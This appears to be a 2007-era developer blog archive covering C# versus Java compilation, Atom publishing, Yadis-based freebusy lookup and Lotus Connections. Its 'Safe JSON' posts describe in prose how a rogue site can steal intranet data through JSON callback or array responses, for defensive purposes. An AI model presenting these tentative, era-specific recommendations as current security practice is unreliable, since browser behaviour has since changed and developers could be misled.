Worlds Apart – C# and Java

Alex Buckley C# itself is no more or less designed for these analyses than Java. (in response to compilation approaches outlined in Worlds Apart – JVMs and CLIs).

I beg to differ, JVMs had to introduce hotspot compilers whereas CLIs have not because of a subtle design difference between the languages and, moreover, other design differences can lead to much more efficient AOT‘d C# code. JSR294 (modularity system for Java), however, provides an opportunity to provide just as efficient AOT for Java, I hope we take this opportunity.

The subtle but vital design difference, that led to JVMs requiring hotspot compilers and CLIs not,  is that non-virtual is the default in most CLI languages which is the complete opposite to Java.  Most methods will never be overridden (by, for example, a method in a subclass) however in Java the programmer must explicitly state this via the final keyword. On the other hand, in C# the programmer has to explicitly declare the opposite i.e. when a method can be overridden, by using the virtual keyword.  If no declaration is placed on a method in C# then it is assumed to be non-virtual i.e. the equivalent of final in java.

So why is this important? Well it turns out that one of the key qualities that must be calculated for a method to be an inline candidate is whether it is overridden.  As most programmers don’t say anything about whether a method is virtual or non-virtual (we’re a lazy bunch), the default applies and as a result many more methods in C# are implicitly non-virtual i.e. they can never be overridden. The compiler can use this information when determining whether to inline. In Java much more complicated calculations must be performed and it is the costly nature of these calculations that created the need for hotspot virtual machines.

Early JVMs (i.e. pre-HotSpot) used to JIT compile every method on first use, just like CLIs do today. However, the early JIT compilers were conservative in making inlining assumptions because they didn’t know what classes might be loaded later, and as such their performance was pretty bad.

So why were they conservative?  Think about what they have to do. They can’t rely on the fact that non-virtual methods are declared as such because most of them aren’t (lazy programmers and virtual is the default in Java). Instead they have to guess.  To make that guess they have to understand the class hierarchy at the time of JITing and check that non of the subclasses override the method. That’s expensive enough for the inline operation, but it gets worse. They have to remember this guess in case a class loaded later overrides the method forcing them to de-optimize the code by undoing the inlining. All of this cost is significant and so hotspot compilers were introduced that only do this on code that gets used a lot.

Contrast that with the CLI implementations (i.e. mono and .net).  There’s a description of the rules that microsoft uses and they are very simple. One rule is even "Virtual functions are not inlined".  Whereas JVMs go to great lengths to determine whether a virtual function can be inlined, .net doesn’t even bother looking and this is all due to differences in the language specifications of Java and C#.  As an aside Visual Basic also has non-virtual as the default and the overridable keyword is used to make a method virtual.

Now the JSR294 expert group (modularity system for Java) can’t make non-virtual the default in Java, but they can probably do enough that it won’t matter. If the goal is to get to efficient AOT compiled code, which is the key differentiation between CLIs and JVMs at the moment, then that goal is attainable via JSR294.

As Patrick pointed out there are various attempts to add AOT compilation to Java.  GCJ and Excelsior are the two front runners.  However, they have to answer this same question i.e. when can a method be inlined? Given that they do compilation ahead of time, the performance of the actual compilation step is not as critical as it is for JIT compilers and so they could use classic techniques such as rapid type analysis (RTA) or class hierarchy analysis (CHA) to determine whether a method is overridden. Unfortunately neither of these classic techniques can be applied ahead of time to Java, although they can be applied to C#, why is this?

Java’s custom classloaders mean that the class hierarchy can only be determined at runtime. This is due to a custom classloaders ability to load classes from anywhere on the classpath at any time. It’s simply impossible to understand ahead of time what the class hierarchy looks like and so RTA or CHA can’t be used for AOT compilation of Java programs. Instead to maintain Java compatibility GCJ, for example, resorts to an ABI that doesn’t even allow inlining. It’s performance suffers accordingly.

This is the problem that JSR294 can choose to solve, it can define a modularity system that allows for efficient AOT of Java code.  This problem has already been well researched (and solved).  MJ, a paper by, amongst others, the inventor of RTA, has already defined such a modularity system and successfully applied it to Tomcat.

Again I urge the JSR294 expert group to consider taking on the requirement of producing a modularity system that allows for efficient AOT compilation of Java code.  JVMs are at a significant disadvantage compared to their CLI counterparts at the moment as efficient AOT of CLI code is already possible. Why not bring this possibility to the Java platform in JSR294?

Worlds Apart – JVMs and CLIs

Glyn Normington: It’s interesting to speculate what would have happened if a static module system had been put into Java much earlier. My guess is that it wouldn’t have bothered to address versioning or dynamicity requirements which only become crucial in the context of relatively large systems with continuous operation.

Indeed it is interesting to speculate. Mono and .net are both implementations of the Common Language Infrastructure.  They have had a static module system from the beginning and they power many applications from best in show MP3 players to relatively large systems with continuous operations such as myspace and shortly second life.

CLI implementations and JVM implementations couldn’t be more different.  While at first glance they appear very similar, they both have an intermediate language and they both use a JIT, the similarities seem to end there.

CLI implementations have been designed to apply classic compiler optimizations using code analysis techniques just like those found in a typical C++ compiler. For example their approach for method inlining is very simple. They also JIT all code once on first use. They can do this as most of the CLI languages have been designed for compilation using classic  analysis techniques.

JVMs, on the other hand, use runtime knowledge to decide what to optimize.  Rather than using the classic techniques they guess a lot (e.g. on whether a method can be inlined) and they have to keep these guesses around in case they load a class that invalidates them.  They also have different levels of optimizations that they perform, saving the most aggressive for code that is getting used the most (i.e. the hotspots). They use these approaches as the class loading rules in java make the application of code analysis techniques virtually impossible.

So which is better, I think the jury is still out, and they both have strong supporters.  However, CLI implementations have one big advantage over JVMs.  As they rely on classic static analysis CLI modules can be ahead of time compiled to native binaries. This brings many advantages such as improved startup and better memory sharing between processes, the latter being a key requirement if multiple applications are being run on a single workstation.

As such, the forthcoming language level changes for Java modularity along with the corresponding changes to the runtime provide a unique opportunity.  They could be designed as a static module system like the one in the CLI.  To do this they would need to change the classloading rules for classes in modules, but this would allow JVM implementations to ahead of time compile java modules to native code bringing all the advantages I mentioned above.

I really hope the expert groups design with this flexibility in mind and I see that I am not the only one that has seen the potential.

Update: I posted a follow up pointing out how subtle language differences have lead to the two different approaches to the runtime.

Atom Publishing Protocol – not enough for blogs?

Roy Fielding: It is only when we talk about specific applications of AtomPP, such as an authoring interface to a corporate blog, that we can say anything about the anticipated state change on the server. SUCH INFORMATION DOES NOT NEED TO BE IN THE PROTOCOL SPECIFICATION.

Is that clear? Maybe someone needs to write an application guide for transparent authoring via Atom

Maybe someone should. I’ve asked.

The Atom Publishing Protocols flexibility is its real strength, but it seems like an omission if the working group declares victory without producing an additional specification / guide that actually allows blogging clients to be interoperable with blogging servers. Wasn’t that the point?

Conflating JSON with Javascript or why there is no “Safe JSON”

So Rob and others have both pointed out that I used the term JSON incorrectly when referring to approaches 2 & 3 in my "Safe JSON" post. They are, of course, completely correct those approaches are returning Javascript and not JSON.

That got me thinking though is JSON Javascript? JSON is absolutely a valid javascript "expression", but does a piece of JSON represent a complete Javascript "program" as defined in the Emcascript standard Chapter 14 (page 75), i.e. should JSON be executable?  As far as I can make out from reading the spec, JSON is a valid Javascript program and the implications of this fact seem to render JSON pretty much useless as a data exchange format for any kind of private data.

Joe has already demonstrated that it is possible to get at data in a JSON array using a CSRF attack and went on to show that you could also do it for JSON objects.  These attacks work as the JSON executes as a Javascript "program" when included by a <script> tag.  However, he is kinda cheating.  To get the object hack to work he had to surround the JSON with () as mentioned in the comments.  So strictly speaking his attack doesn’t work on pure JSON objects on Firefox at the moment. When you try it with a pure JSON object you get a parse exception as I pointed out to Joe.

But here’s the question should it work?, and this brings us back to whether JSON is a valid Javascript program.  If it is, and from reading the spec I think it is *blush* it isn’t, then firefox should really fix the bug that is incorrectly parsing a JSON object when included as a piece of Javascript via a <script> tag and Joe would no longer need to place the JSON object in () to get the object attack to work.

It appears that a data interchange format has been "conflated" with an executable program and as such we have a huge gaping hole in the security of using JSON as a data exchange format.

I hope I am wrong about this, but it was interesting to discover that the guy that wrote the JSON RFC has tried to tighten the javascript standard and in his verifier JSON is NOT a valid javascript program. Maybe he knows something the rest of us are just figuring out.

As an aside connections will NOT be offering a JSON api.

Update So Lenny’s comment had me take a second more detailed look at the ECMAScript spec and it appears that JSON Object Literals are safe, more out of luck than by design. JSON Object literals are valid "Expression" Chapter 11 p40 and so I incorrectly inferred that they were "Expression Statements" Chapter 12.4 p63 . However the spec clearly states "Note that an ExpressionStatement cannot start with an opening curly brace because that might make it ambiguous with a Block." and so parsers should infer that the contents of the JSON Object Literal to be a block and as the contents of JSON Object Literals are not valid Blocks it should error out.

Lenny summarizes it well.

"As I see it, the takeaway from all this is that the root of any private JSON document should be an Object, never an Array <snip/> Prescription: don’t start your JSON doc with [, and don’t deviate from the spec with things like parentheses."

Safe JSON

Update: March 5th 2007:  Important change to the recommendation for Safe JSON detailed below.  It is not as safe as people think, but it can still be made to be safe.

We have been investigating the security implications of having a JSON api in Connections. It turns out that it is very easy to leave pretty big security exposures in an application if it isn’t done right.  The security exposure in this case is rogue sites being able to get at data made available via a JSON api.  The truly frightening part of this is that applications installed on a corporate intranet can actually leak data to internet sites should a user visit a rogue site. BTW, these exposures apply equally to both formally published api’s such as Yahoo’s and also any internal JSON api’s often used for AJAX tricks.

As far as I can make out there are 3 different approaches used with JSON api’s. Before detailing the vulnerabilities I’ll highlight the three approaches using the Yahoo examples (you might want to familiarize yourself with the examples before reading any further). The three approaches are :

Approach 1 – Plain JSON

Simply return JSON i.e.

{
  "Image": {
    "Width":800,
    "Height":600,
    "Title":"View from 15th Floor",
    "Thumbnail":
    {
      "Url":"http:\/\/scd.mm-b1.yimg.com\/image\/481989943",
      "Height": 125,
      "Width": "100"
    },
  "IDs":[ 116, 943, 234, 38793 ]
  }
}

Approach 2 – var assignment

Assign the JSON object to some variable that can then be accessed by the embedding application (not an approach used by Yahoo).

var result = {
  "Image": {
    "Width":800,
    "Height":600,
    "Title":"View from 15th Floor",
    "Thumbnail":
    {
      "Url":"http:\/\/scd.mm-b1.yimg.com\/image\/481989943",
      "Height": 125,
      "Width": "100"
    },
  "IDs":[ 116, 943, 234, 38793 ]
  }
}

Approach 3 – function callback

When calling the JSON Web Service pass as a parameter a callback function.  The resulting JSON response passes the JSON object as a parameter to this callback function.

callbackFunction( {
  "Image": {
    "Width":800,
    "Height":600,
    "Title":"View from 15th Floor",
    "Thumbnail":
    {
      "Url":"http:\/\/scd.mm-b1.yimg.com\/image\/481989943",
      "Height": 125,
      "Width": "100"
    },
  "IDs":[ 116, 943, 234, 38793 ]
  }
})

All approaches can be used via an XMLHttpRequest followed by a javascript eval, but as Yahoo points out Approaches 2 & 3 unlike Approach 1 don’t "run afoul of browser security restrictions that prevent files from being loaded across domains." as…

"Using JSON and callbacks, you can place the Yahoo! Web Service request inside a <script> tag, and operate on the results with a function elsewhere in the JavaScript code on the page. Using this mechanism, the JSON output from the Yahoo! Web Services request is loaded when the enclosing web page is loaded. No proxy or server trickery is required."

Indeed they have successfully navigated the browser security restrictions, which I should point out is probably fine for Yahoo as ALL their services only expose publically available data.  However, if a developer coding up an application that contains private data uses the same approach (i.e. Approach 2 or 3) then they have exposed the application to a pretty simple attack.  BTW, I’m defining private data to be any data that should not be publically accessible to the entire world (this probably covers most data on a corporate intranet but also includes any data that requires authenticatation prior to access). Here’s an example.

A user logs into a wiki on the corporate intranet.  This wiki provides a JSON api with a callback function (Approach 3).  The user then visits a rogue site on the internet.  The page from the rogue site, when rendered in the user’s browser, performs a javascript include to the wiki’s json api passing a callback function. This results in data from the wiki being made available to the rogue site’s javascript function in the page via the callback. Further javascript, on the page, can then form POST the data back to the rogue site and as such the data can be stolen. Not good.

Approach 1, on the other hand, does not contain this vulnerability as it can’t be used via a javascript include.  If attempted it does not make the any data available on the page as it is not valid javascript, indeed it, instead, results in a javascript error and so is safe for JSON api’s that contain private data.

Recommendation

I’m going to tentatively propose the following recommendation and would welcome feedback.

When developing a JSON api that contains data that should not be publically accessible to the world use Approach 1 i.e. return plain JSON.  Update: The JSON returned MUST be of type "Serialized Object" and not of type "Array" (as defined by the JSON spec).  (See the March 5th update below for the rationale behind this change).  If the data can be publically exposed then Approaches 2 & 3 have significant advantages in terms of consumability.

Update: March 5th 2007

Joe has pointed out that care still needs to be taken even when using a plain JSON return (Approach 1). From my testing and as others have pointed out the vulnerability that Joe is referring to only applies when returning JSON of type "array" (section 2.3 of  the JSON standard). However, it appears that if you return JSON of type "serialized object" (section 2.2) then, at the moment, I know of no vulnerability.  It’s worth mentioning that arrays can still be present in the JSON as long as they are not at the top level. The example in Approach 1 above is not vulnerable to attack even though it contains an embedded array.  The following structure is vulnerable though

[["ct","Your Name","foo@gmail.com"], ["ct","Another Name","bar@gmail.com"] ]

as google knows only too well

Anyway, I have updated my recommendation.  It remains tentative.

Freebusy and Yadis

So for a while now, we have been trying to figure out a standard means to lookup someone’s freetime from their calendar (called freebusy in the calendaring world).  We knew we wanted a REST service that could be passed url parameters, we even had a demo one up on the net.

The problem, though, had always been how to figure out the url for the service given the user’s e-mail address. Openid, DIX, yadis et al always showed promise, but it always felt clunky to have to first translate an e-mail identifier for the user into an http url based identifier for the user and then ask for an attribute for the calendar service etc. etc. A recent proposal to the yadis mailing list, however, showed the way.  Simply resolve the e-mail address to its domain and use the yadis protocol (section 6) on that to discover a freebusy service for all the members of the domain.

So, for example, let’s say that the e-mail address of someone who I want to schedule a meeting with is rob@robubu.com.  Use the yadis protocol on http://robubu.com, i.e. retrieve the page at http://robubu.com and dereference the "X-XRDS-Location" meta tag in the html head to get back a yadis document (that looks something like this).

<?xml version="1.0" encoding="UTF-8"?>
<xrds:XRDS xmlns:xrds="xri://$xrds" xmlns="xri://$xrd*($v*2.0)">
  <XRD>
   <Service>
    <Type>http://ietf.org/cal/freebusy/1.0</Type>
    <URI>http://robubu.com/calendar/freebusy.php</URI>
   </Service>
  </XRD>
</xrds:XRDS>

Then extract the endpoint for the freebusy service by looking for the URI that corresponds to a service of type "http://ietf.org/cal/freebusy/1.0". Finally, construct the url request that returns the freebusy time in iCalendar format for a given period e.g. http://robubu.com/calendar/freebusy.php?email=rob@robubu.com&start=20070101&end=20071212. Done.

I’ve also hacked a little on webcalendar and got an end point up and running.  The calendar in html is here, but if you want to schedule a meeting with me via yadis and the freebusy api then my e-mail address (for the purposes of the demo) is rob@robubu.com.

Finally, I do want to use the URI Template approach for the URI, but I’ll leave that for another post.

C# more popular than Java?

O’Reilly recently published this chart detailing trends in the computer book market.

Javascript is showing some pretty stellar growth, but Tim also has this to say “The net-net is that C# has definitely passed Java in the book market.”

I wonder if mono is helping drive that demand. The “.net for Unix” is already used by wikipedia for its searches (see here), is shortly to be embedded in second life and runs the mp3 player that won best in show at this year’s CES.

Unlike Java, mono code can be compiled ahead of time and more importantly mono has been designed to allow multiple programs running on the same machine to actually share memory. Kinda radical (for anyone familiar with Java), but yet, somehow, so reassuringly familiar.

Lotus Connections – Blogs

My day job at the moment is as part of a small team working on the blogs component of Lotus Connections and given that we just announced all this at Lotusphere I guess it’s ok to spill some of the details.

We’re making no secret of the fact that the core engine we’re using is Roller, and it has proven very easy to work with and enhance.  We are adding a bunch of new features and spending a lot of time getting it to really scale.  Over the past few months, Elias has added tagging, James has a new improved Atom Publishing Protocol stack based on Abdera and we’ve also written a new persistence layer, changed to container managed security, added MBean support, full LDAP support, Dojo Editor and many other tweaks along the way, including the spiffy new UI that you can see below.

The best part about all this is that IBM is allowing us to contribute all these changes (except the UI) back to the roller core.  Unfortunately the legal process for clearance is taking its time but I hope that by the end of Feb we’ll be able to donate as much code as the roller community is willing to take.

Screenshots